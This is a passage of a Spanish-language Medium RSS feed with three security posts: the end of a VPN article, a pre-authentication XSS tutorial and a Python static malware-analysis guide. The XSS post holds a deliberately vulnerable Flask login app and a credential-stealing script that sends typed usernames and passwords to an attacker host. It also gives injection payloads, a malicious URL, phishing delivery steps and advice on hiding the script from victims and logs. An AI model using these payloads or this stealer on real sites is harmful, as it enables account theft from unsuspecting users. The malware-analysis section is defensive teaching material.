<em>VPN</em> más tradicionales.</p><h3>Referencias</h3><ul><li><a href="https://gist.github.com/nitred/f16850ca48c48c79bf422e90ee5b9d95">https://gist.github.com/nitred/f16850ca48c48c79bf422e90ee5b9d95</a></li><li><a href="https://docs.netgate.com/pfsense/en/latest/recipes/wireguard-ra.html">https://docs.netgate.com/pfsense/en/latest/recipes/wireguard-ra.html</a></li><li><a href="https://help.mikrotik.com/docs/display/ROS/WireGuard">https://help.mikrotik.com/docs/display/ROS/WireGuard</a></li><li><a href="https://github.com/wg-easy/wg-easy">https://github.com/wg-easy/wg-easy</a></li></ul><h3>Autores</h3><p>Vay3t &amp; <a href="https://xn--ida.live/">Gwynplaine</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=09de3adedb08" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hacking Web: Pre-Auth XSS]]></title>
            <link>https://vay3t.medium.com/hacking-web-pre-auth-xss-f7d2323b7e3e?source=rss-470deab256ba------2</link>
            <guid isPermaLink="false">https://medium.com/p/f7d2323b7e3e</guid>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[xs]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[web]]></category>
            <dc:creator><![CDATA[Vay3t]]></dc:creator>
            <pubDate>Wed, 28 Feb 2024 17:26:30 GMT</pubDate>
            <atom:updated>2024-02-28T17:26:30.306Z</atom:updated>
            <content:encoded><![CDATA[<p>La siguiente muestra de código vulnerable utiliza Flask, un framework de Python para aplicaciones web. Este ejemplo ilustra una aplicación simple de inicio de sesión que es propensa a un ataque XSS (Cross-Site Scripting) antes de la autenticación.</p><h3>Introducción a la Seguridad en Aplicaciones Web</h3><p>En el desarrollo de aplicaciones web, la seguridad juega un papel crucial para proteger tanto a los usuarios como a los sistemas de posibles ataques maliciosos. Una de las vulnerabilidades más comunes y peligrosas en este ámbito es el Cross-Site Scripting (XSS), un tipo de ataque que permite a los atacantes inyectar scripts maliciosos en páginas web vistas por otros usuarios. Esta vulnerabilidad se explota a menudo en aplicaciones que no validan o codifican adecuadamente las entradas del usuario antes de mostrarlas en la página web, lo que puede tener consecuencias graves como el robo de sesiones, la modificación del contenido de la web o incluso la ejecución de acciones maliciosas sin el conocimiento del usuario.</p><h3>El Caso de Flask: Un Ejemplo Práctico</h3><p>Para ilustrar cómo una aplicación web puede ser susceptible a ataques XSS, utilizaremos Flask, un popular framework de Python para el desarrollo web. A través de un ejemplo práctico, demostraremos una aplicación de inicio de sesión simple que, aunque funcional, es vulnerable a ataques XSS antes de la autenticación.</p><h4>Código vulnerable</h4><pre>from flask import Flask, request, make_response, redirect, url_for<br><br>app = Flask(__name__)<br><br><br>@app.route(&quot;/&quot;)<br>def index():<br>    error_message = request.args.get(&quot;error&quot;) # Parte vulnerable<br>    error_display = &quot;&quot;<br>    if error_message:<br>        error_display = f&#39;&lt;p style=&quot;color:red;&quot;&gt;{error_message}&lt;/p&gt;&#39;<br><br>    return f&quot;&quot;&quot;<br>        {error_display}<br>        &lt;form action=&quot;/login&quot; method=&quot;post&quot; name=&quot;login&quot;&gt;<br>            &lt;input type=&quot;text&quot; name=&quot;username&quot; id=&quot;username&quot; placeholder=&quot;Username&quot;&gt;<br>            &lt;input type=&quot;password&quot; name=&quot;password&quot; id=&quot;password&quot; placeholder=&quot;Password&quot;&gt;<br>            &lt;input type=&quot;submit&quot; value=&quot;Login&quot; name=&quot;submit&quot;&gt;<br>        &lt;/form&gt;<br>    &quot;&quot;&quot;<br><br><br>@app.route(&quot;/login&quot;, methods=[&quot;POST&quot;])<br>def login():<br>    username = request.form[&quot;username&quot;]<br>    password = request.form[&quot;password&quot;]<br><br>    # Simulando una verificación de credenciales básica<br>    if username == &quot;admin&quot; and password == &quot;secr3t&quot;:<br>        response = make_response(f&quot;Wecolme {username}!&quot;)<br>    else:<br>        error_message = f&quot;Incorrect credentials&quot;<br>        response = redirect(url_for(&quot;index&quot;, error=error_message))<br><br>    return response<br><br><br>if __name__ == &quot;__main__&quot;:<br>    app.run()</pre><p>Este código es vulnerable porque imprime directamente el mensaje de error en la página HTML, lo que puede ser explotado para ejecutar JavaScript arbitrario en el navegador de la víctima. Específicamente en la linea:</p><pre>error_message = request.args.get(&quot;error&quot;) # Parte vulnerable</pre><h3>Detección de la vulnerabilidad</h3><p>La detección de vulnerabilidades XSS, especialmente en una etapa previa a la autenticación, implica identificar puntos dentro de una aplicación web donde los datos proporcionados por el usuario se reflejan sin una adecuada sanitización o codificación en la respuesta del servidor. En el caso de nuestra aplicación Flask vulnerable, la detección se centra en el manejo incorrecto de los mensajes de error.</p><ul><li><strong>Identificación de Puntos de Entrada</strong>: El primer paso es identificar todos los puntos de entrada de datos del usuario. En nuestro ejemplo, el punto de entrada es el parámetro error en la URL.</li><li><strong>Envío de Payload de Prueba</strong>: El siguiente paso es enviar un payload de prueba a través del parámetro identificado. Por ejemplo, un atacante puede usar el siguiente payload:</li></ul><pre>&lt;script&gt;print()&lt;/script&gt;</pre><p>Este payload intenta ejecutar la funcionalidad de impresión del sitio en el navegador de la víctima.</p><ul><li><strong>Verificación de la Reflección</strong>: El atacante observa si el payload se refleja en la página web sin modificaciones. Si el código JavaScript se ejecuta, esto confirma la presencia de una vulnerabilidad XSS.</li></ul><h4>Explotación</h4><p>Se puede explotar la vulnerabilidad de varias formas, desde el navegador o desde la linea de comandos.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aPzyLFyXCZNiMMF-zYHKIA.png" /><figcaption>Detección del XSS por medio del navegador</figcaption></figure><ul><li>Comando usado para detectar por linea de comandos:</li></ul><pre>curl http://&lt;victim-host&gt;/?error=%3Cscript%3Eprint%28%29%3C%2Fscript%3E | grep &quot;&lt;script&gt;print()&lt;/script&gt;&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/1*qHM508c04uNnFbZKVuPTgw.png" /><figcaption>Detección del XSS por línea de comandos</figcaption></figure><h3>Exploit y Payloads</h3><p>Para explotar esta vulnerabilidad, el atacante crea un script malicioso, xss.js, diseñado para capturar las credenciales de inicio de sesión de los usuarios sin que estos se den cuenta. Este script aprovecha la vulnerabilidad XSS en la aplicación Flask para interceptar el envío del formulario de inicio de sesión, extrayendo los valores introducidos por el usuario en los campos de nombre de usuario y contraseña. Luego, envía estas credenciales a un servidor controlado por el atacante antes de que el formulario se envíe realmente al servidor de la aplicación. Aquí se muestra un ejemplo detallado de cómo se implementaría este script:</p><pre>// Definición de una función asíncrona llamada &#39;send&#39;<br>async function send() {<br>    // Hace una petición fetch (HTTP) de manera asíncrona usando await.<br>    // Esta petición envía los valores ingresados en los campos de &#39;username&#39; y &#39;password&#39; a un servidor externo.<br>    // &#39;mode: &#39;no-cors&#39;&#39; permite hacer peticiones a un origen diferente sin que se rechacen por la política de mismo origen.<br>    await fetch(&#39;http://&lt;attacker-host&gt;/?creds=&#39; + document.getElementById(&quot;username&quot;).value + &#39;:&#39; + document.getElementById(&quot;password&quot;).value, { mode: &#39;no-cors&#39; })<br>    <br>    // Cambia el atributo &#39;action&#39; del formulario &#39;login&#39; para que apunte a la ruta &#39;/login&#39;.<br>    // Esto podría ser un intento de restaurar el comportamiento normal después de capturar las credenciales.<br>    document.getElementsByName(&#39;login&#39;)[0].setAttribute(&#39;action&#39;, &#39;/login&#39;);<br>    <br>    // Envía el formulario &#39;login&#39; de manera programática.<br>    // Este método es una forma de enviar el formulario sin usar el botón de envío tradicional.<br>    HTMLFormElement.prototype.submit.call(document.forms[&#39;login&#39;]);<br>}<br><br>// Se agrega un escuchador de eventos que se activa cuando el contenido del DOM está completamente cargado.<br>document.addEventListener(&#39;DOMContentLoaded&#39;, (event) =&gt; {<br>    // Cambia el atributo &#39;action&#39; del formulario &#39;login&#39; para que no realice ninguna acción al enviar.<br>    // Esto previene que el formulario se envíe de manera normal, posiblemente para interceptar las credenciales primero.<br>    document.getElementsByName(&#39;login&#39;)[0].setAttribute(&#39;action&#39;, &#39;javascript:void(0);&#39;);<br>    <br>    // Cambia el atributo &#39;onClick&#39; del botón &#39;submit&#39; para que ejecute la función &#39;send&#39; cuando se haga clic.<br>    // Esto asegura que al hacer clic en el botón de envío, se ejecute la lógica personalizada de captura de credenciales primero.<br>    document.getElementsByName(&#39;submit&#39;)[0].setAttribute(&#39;onClick&#39;, &#39;send()&#39;);<br>});</pre><p>Este script se inyecta en la página de inicio de sesión de la víctima a través de un payload XSS.</p><h4>Payloads usados para la Inyección</h4><p>Para ejecutar el script xss.js en la página web de la víctima, el atacante puede utilizar varios métodos de inyección. Los siguientes son ejemplos de payloads que pueden ser empleados:</p><ul><li><strong>Directa Inclusión del script</strong>:</li></ul><pre>&lt;script src=&quot;http://&lt;attacker-host&gt;/xss.js&quot;&gt;&lt;/script&gt;</pre><p>Este payload inserta directamente el script externo en la página, aprovechando la vulnerabilidad XSS para ejecutar el código JavaScript contenido en xss.js.</p><ul><li><strong>Inyección a través de Imagen con Error</strong>:</li></ul><pre>&lt;img src=&quot;x&quot; onerror=&quot;s=document.createElement(&#39;script&#39;);s.src=&#39;http://&lt;attacker-host&gt;/xss.js&#39;;document.body.appendChild(s);&quot;&gt;</pre><p>Aquí, el atacante utiliza un elemento img con una fuente inválida. Cuando la carga de la imagen falla, el evento onerror se dispara, ejecutando el JavaScript que añade el script malicioso a la página.</p><h4>Proceso de Explotación</h4><p>El atacante debe persuadir a la víctima para que cargue uno de estos payloads en su navegador mientras interactúa con la aplicación vulnerable. Esto se puede lograr a través de ingeniería social, como enviar un enlace malicioso por correo electrónico o mensaje. Cuando la víctima accede a la aplicación web y el payload XSS se ejecuta, el script xss.js intercepta las credenciales de inicio de sesión y las envía al servidor del atacante antes de que la autenticación ocurra en el servidor legítimo.</p><h4>Delivery de URL vulnerable a la víctima</h4><p>Una vez identificada y confirmada la vulnerabilidad, el atacante procede a explotarla para comprometer a los usuarios de la aplicación. Esto se logra mediante la creación y distribución de una URL maliciosa que contiene el payload XSS.</p><ul><li><strong>Creación de la URL Maliciosa</strong>: El atacante prepara una URL que apunte a la página vulnerable, incluyendo el payload XSS como parte de los parámetros de la URL:</li></ul><pre>http://&lt;victim-host&gt;/?error=%3Cscript+src%3D%22http%3A%2F%2F&lt;attacker-host&gt;%2Fxss.js%22%3E%3C%2Fscript%3</pre><ul><li><strong>Codificación de la URL</strong>: Para evitar filtros de seguridad o la detección manual, el atacante puede codificar la URL, especialmente los caracteres especiales usados en el payload.</li><li><strong>Distribución a la Víctima</strong>: La URL maliciosa se entrega a la víctima utilizando técnicas de ingeniería social, como phishing. Esto podría involucrar correos electrónicos que inciten a la víctima a hacer clic en el enlace, mensajes en redes sociales, o incluso publicaciones en foros donde se espera que las víctimas potenciales vean y hagan clic en el enlace.</li><li><strong>Ejecución del Payload</strong>: Cuando la víctima hace clic en la URL y carga la página web, el código JavaScript malicioso se ejecuta en su navegador, llevando a cabo la acción deseada por el atacante.</li></ul><p>En este punto se muestra el como el navegador víctima renderizaría el JavaScript. Aremos una comparación entre el original y el modificado.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ujkobLbEMNqf4oQoEz-aug.png" /><figcaption>Sitio original</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NC2-REom4Mm4MbM2SwaMGQ.png" /><figcaption>Sitio modificado por la vulnerabilidad explotada</figcaption></figure><p>A continuación veremos la cadena de solicitudes que son reflejados en los servidores, en la parte izquierda se encuentra el código y los logs http del sitio web vulnerable y en la parte derecha el código y el sitio web atacante y de como captura las credenciales.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TbgHwO9Z43_wEQUC2Zk4Bg.png" /><figcaption>Visualización del código y los logs registrados en los servidores junto con la credencial de la victima</figcaption></figure><p>En la parte derecha se encuentra el siguiente texto</p><pre>/?creds=admin:secr3t</pre><p>Lo cual refleja las credenciales usuario <strong>admin</strong> contraseña <strong>secr3t</strong></p><h3>Nota</h3><ul><li>Con el payload construido, la víctima al interactuar con el sitio web no se dará cuenta de que se envía las credenciales dado a que no hay un comportamiento extraño en el sitio web.</li><li>Si la vas a cochinear, no le pongas xss.js a tu script y toma algunos resguardos para que no parezca tan sospechoso tanto para la víctima como en los logs y con un poco de anonimato.</li></ul><h3>Autores</h3><p>Vay3t &amp; <a href="https://chat.openai.com/">OpenAI</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f7d2323b7e3e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hacking con Python: Capítulo 14 — Análisis estático de malware]]></title>
            <link>https://vay3t.medium.com/hacking-con-python-cap%C3%ADtulo-14-an%C3%A1lisis-est%C3%A1tico-de-malware-81d90f64990b?source=rss-470deab256ba------2</link>
            <guid isPermaLink="false">https://medium.com/p/81d90f64990b</guid>
            <category><![CDATA[python]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[executable]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <dc:creator><![CDATA[Vay3t]]></dc:creator>
            <pubDate>Sun, 25 Feb 2024 02:08:11 GMT</pubDate>
            <atom:updated>2024-02-25T02:08:11.106Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hacking con Python: Capítulo 14 — Análisis estático de malware</h3><p>El análisis estático de malware con Python implica examinar el código malicioso sin ejecutarlo, para entender su propósito, funcionalidad y potencial impacto. Esto se hace típicamente a través de la inspección del código binario, los strings, las llamadas a sistemas y otras características del archivo malicioso. A continuación, te muestro algunos ejemplos básicos de cómo se puede realizar análisis estático de malware utilizando Python.</p><h3>Instalando el entorno de desarrollo</h3><pre>brew install python3<br>pip3 install pefile magika</pre><h3>1. Extracción de Strings</h3><p>La extracción de cadenas de texto es una técnica inicial y simple para analizar archivos binarios, enfocada en identificar texto que sugiera comportamiento malicioso, como URLs dañinas, rutas de archivos o comandos específicos. Se recomienda para un análisis preliminar rápido, permitiendo obtener una visión general de las posibles capacidades del malware y detectar indicadores de compromiso tempranos.</p><pre>import sys<br>import string<br>from pathlib import Path<br><br>def print_strings(file_path):<br>    min_length = 4<br>    result = &quot;&quot;<br><br>    with Path(file_path).open(&quot;rb&quot;) as f:<br>        for c in f.read():<br>            if chr(c) in string.printable:<br>                result += chr(c)<br>                continue<br>            if len(result) &gt;= min_length:<br>                print(result)<br>            result = &quot;&quot;<br><br>file_path = sys.argv[1]<br>print_strings(file_path)</pre><h4>Extracción de URLs (ejemplo de expresiones regulares)</h4><p>Este script es una herramienta eficaz para identificar URLs dentro de archivos binarios, revelando potenciales dominios o direcciones IP a los que el malware busca conectarse. Su objetivo es descubrir URLs embebidas que puedan indicar la presencia de servidores de comando y control o sitios de phishing, esenciales en las operaciones maliciosas. Se recomienda su uso para analizar la comunicación de red del malware y desenmascarar la infraestructura maliciosa asociada, lo que es crucial para los investigadores de seguridad y analistas forenses digitales en sus esfuerzos por mitigar el impacto del malware y desmantelar las redes de los atacantes.</p><pre>import re<br>import sys<br><br>def extract_urls(file_path):<br>    url_pattern = b&#39;http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&amp;+]|[!*\\(\\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+&#39;<br>    with open(file_path, &#39;rb&#39;) as f:<br>        file_content = f.read()<br>    urls = re.findall(url_pattern, file_content)<br>    for url in urls:<br>        print(url.decode())<br><br>file_path = sys.argv[1]<br>extract_urls(file_path)</pre><h3>2. Análisis de Hashes</h3><p>Comparar los hashes de archivos con bases de datos reconocidas permite identificar rápidamente si un archivo es malicioso, generando un hash (como SHA256) del archivo sospechoso y comparándolo con registros previos. Sitios como <a href="https://www.virustotal.com/gui/home/search">VirusTotal</a>, <a href="https://www.hybrid-analysis.com/">Hybrid Analysis</a> y <a href="https://app.any.run/submissions">ANY.RUN</a> ofrecen la posibilidad de subir este hash para acceder a informes detallados sobre el archivo. Este método es especialmente útil al inicio del análisis de seguridad para determinar si el archivo ya es conocido por su naturaleza maliciosa, facilitando así el acceso a información relevante sobre su comportamiento y evitando análisis redundantes.</p><pre>import hashlib<br>import sys<br><br>def file_hash(file_path):<br>    hasher = hashlib.sha256()<br>    with open(file_path, &#39;rb&#39;) as afile:<br>        buf = afile.read()<br>        hasher.update(buf)<br>    return hasher.hexdigest()<br><br>file_path = sys.argv[1]<br>print(file_hash(file_path))</pre><h3>3. Análisis de Importaciones y Llamadas a la API</h3><p>El análisis de las importaciones y llamadas a la <a href="https://en.wikipedia.org/wiki/Microsoft_Windows_library_files">API de Win32</a> es una estrategia clave en la ingeniería inversa para entender las acciones que un malware busca ejecutar en un sistema infectado, examinando las funciones del sistema operativo que intenta utilizar. A través de este análisis, se pueden identificar las <a href="https://book.hacktricks.xyz/reversing-and-exploiting/common-api-used-in-malware">operaciones</a> específicas como manipulación de archivos, acceso a la red, ejecución de comandos y inyección de procesos, revelando así las capacidades exactas del malware. Este método es esencial cuando se necesita una comprensión detallada de las funcionalidades del malware para desarrollar respuestas y estrategias de mitigación efectivas.</p><pre>import pefile<br>import sys<br><br>def get_imports(file_path):<br>    pe = pefile.PE(file_path)<br>    if hasattr(pe, &#39;DIRECTORY_ENTRY_IMPORT&#39;):<br>        for entry in pe.DIRECTORY_ENTRY_IMPORT:<br>            print(&#39;! DLL Importada:&#39;, entry.dll.decode(&#39;utf-8&#39;))<br>            for imp in entry.imports:<br>                print(&#39;\t +&#39;, imp.name.decode(&#39;utf-8&#39;))<br><br>file_path = sys.argv[1]<br>get_imports(file_path)</pre><h3>4. Análisis de Secciones</h3><p>Este script realiza un análisis detallado de las <a href="https://www.youtube.com/playlist?list=PLHJns8WZXCdstHnLaxcz-CO74fO4Q88_8">secciones de archivos PE</a>, proporcionando información sobre sus nombres, tamaños y características, con especial atención en aquellas con permisos de ejecución y escritura, que pueden indicar riesgo de seguridad. Su principal utilidad es identificar componentes inusuales o potencialmente maliciosos, siendo esencial en el análisis de seguridad para evaluar el riesgo asociado a ejecutables de Windows y DLLs.</p><p>Muchos tipos de malware insertan código o datos maliciosos en secciones nuevas o existentes de un archivo ejecutable. Al analizar las secciones, los investigadores pueden identificar patrones o anomalías (como secciones con nombres inusuales, tamaños desproporcionados o permisos sospechosos) que son indicativos de malware.</p><pre>import pefile<br>import sys<br><br>def analyze_sections(file_path):<br>    pe = pefile.PE(file_path)<br>    for section in pe.sections:<br>        print(&quot;Nombre: &quot;+section.Name.decode().rstrip(&#39;\\x00&#39;))<br>        print(f&quot;Tamaño Virtual: {section.Misc_VirtualSize}&quot;)<br>        print(f&quot;Tamaño de Raw Data: {section.SizeOfRawData}&quot;)<br>        print(f&quot;Características: {section.Characteristics}&quot;)<br><br>file_path = sys.argv[1]<br>analyze_sections(file_path)</pre><h3>5. Análisis de magic numbers de Archivos</h3><p>La detección del tipo de archivo a través de su “magic number” es una estrategia clave en análisis forense digital, que permite identificar la verdadera naturaleza de un archivo más allá de su extensión. Esta técnica es crucial para descubrir archivos ejecutables camuflados con extensiones falsas, una táctica común en ataques cibernéticos para evadir sistemas de seguridad o engañar a usuarios. Se emplea principalmente al inicio del análisis para confirmar que el tipo de archivo corresponde a lo esperado, evitando así posibles intentos de ocultación o evasión de detección.</p><pre>import magika<br>import sys<br><br>def detect_file_signature(file_path):<br>    with open(file_path, &#39;rb&#39;) as afile:<br>        buf = afile.read()<br>    res = magika.Magika().identify_bytes(buf)<br>    print(f&quot;Tipo de archivo: {file_path} -&gt; {res.output.ct_label}&quot;)<br><br>file_path = sys.argv[1]<br>detect_file_signature(file_path)</pre><h3>6. Extracción de Recursos Embebidos</h3><p>Los archivos maliciosos a menudo incorporan recursos internos, como ejecutables adicionales, scripts o imágenes, para ejecutar ataques complejos. El objetivo de analizar estos recursos embebidos es descubrir y entender las acciones maliciosas adicionales que el malware puede realizar. Este análisis es crucial cuando se sospecha que el malware contiene herramientas integradas para facilitar su propagación o impacto, permitiendo a los investigadores de seguridad obtener una visión más profunda de las capacidades del malware y desarrollar medidas de defensa más efectivas.</p><pre>import pefile<br>import os<br>import sys<br><br>def extract_resources(file_path):<br>    pe = pefile.PE(file_path)<br>    if hasattr(pe, &#39;DIRECTORY_ENTRY_RESOURCE&#39;):<br>        for resource_type in pe.DIRECTORY_ENTRY_RESOURCE.entries:<br>            if hasattr(resource_type, &#39;directory&#39;):<br>                for resource_id in resource_type.directory.entries:<br>                    if hasattr(resource_id, &#39;directory&#39;):<br>                        for resource_lang in resource_id.directory.entries:<br>                            data = pe.get_data(resource_lang.data.struct.OffsetToData, resource_lang.data.struct.Size)<br>                            file_name = f&quot;{file_path}_resource_{resource_type.struct.Id}_{resource_id.struct.Id}_{resource_lang.struct.Id}&quot;<br>                            with open(file_name, &#39;wb&#39;) as f:<br>                                f.write(data)<br>                            print(f&quot;Recurso extraído: {file_name}&quot;)<br><br>file_path = sys.argv[1]<br>extract_resources(file_path)</pre><h3>7. Cálculo de Entropía</h3><p>La entropía es una medida utilizada para evaluar la aleatoriedad de los datos en un archivo, siendo útil para identificar aquellos que están altamente comprimidos o cifrados, como es común en los payloads de malware. Una alta <a href="https://en.wikipedia.org/wiki/Entropy_(information_theory)">entropía</a>, cercana a 8, sugiere una gran aleatoriedad, indicativa de cifrado o compresión. Este análisis se emplea para descubrir secciones de archivos que podrían estar ocultando contenido malicioso mediante cifrado o compresión, ofreciendo pistas sobre posibles actividades maliciosas y facilitando la detección temprana de malware.</p><pre># Script created by cocomelonc<br># https://github.com/cocomelonc/meow/blob/master/2022-11-05-malware-analysis-6/entropy.py<br><br>import argparse<br>import math<br>import pefile<br><br>def shannon_entropy(data):<br>    # 256 different possible values<br>    possible = dict(((chr(x), 0) for x in range(0, 256)))<br><br>    for byte in data:<br>        possible[chr(byte)] +=1<br><br>    data_len = len(data)<br>    entropy = 0.0<br><br>    # compute<br>    for i in possible:<br>        if possible[i] == 0:<br>            continue<br><br>        p = float(possible[i] / data_len)<br>        entropy -= p * math.log(p, 2)<br>    return entropy<br><br>def sections_entropy(path):<br>    pe = pefile.PE(path)<br>    for section in pe.sections[:3]:<br>        print(section.Name.decode(&#39;utf-8&#39;))<br>        print(&quot;\tvirtual address: &quot; + hex(section.VirtualAddress))<br>        print(&quot;\tvirtual size: &quot; + hex(section.Misc_VirtualSize))<br>        print(&quot;\traw size: &quot; + hex(section.SizeOfRawData))<br>        print (&quot;\tentropy: &quot; + str(shannon_entropy(section.get_data())))<br><br>if __name__ == &quot;__main__&quot;:<br>    parser = argparse.ArgumentParser()<br>    parser.add_argument(&#39;-f&#39;,&#39;--file&#39;, required = True, help = &quot;target file&quot;)<br>    args = vars(parser.parse_args())<br>    target_file = args[&#39;file&#39;]<br>    with open(target_file, &#39;rb&#39;) as f:<br>        sections_entropy(target_file)</pre><h3>Enlaces utiles y referencias</h3><h4>Fuente</h4><ul><li><a href="https://cocomelonc.github.io/malware/2022/11/05/malware-analysis-6.html">https://cocomelonc.github.io/malware/2022/11/05/malware-analysis-6.html</a></li></ul><h4>Técnicas de análisis de malware</h4><ul><li><a href="https://cocomelonc.github.io/tutorial/2022/02/15/malware-analysis-3.html">https://cocomelonc.github.io/tutorial/2022/02/15/malware-analysis-3.html</a></li><li><a href="https://cocomelonc.github.io/tutorial/2022/02/23/malware-analysis-4.html">https://cocomelonc.github.io/tutorial/2022/02/23/malware-analysis-4.html</a></li></ul><h4>Certificación de Threat Hunting</h4><ul><li><a href="https://security.ine.com/certifications/ecthp-certification/">https://security.ine.com/certifications/ecthp-certification/</a></li><li><a href="https://www.bencteux.fr/posts/ecthpv2/">https://www.bencteux.fr/posts/ecthpv2/</a></li></ul><h3>Autores</h3><p>Vay3t &amp; <a href="https://xn--ida.live/">Gwynplain</a> &amp; <a href="https://chat.openai.com/">OpenAI</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=81d90f64990b" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>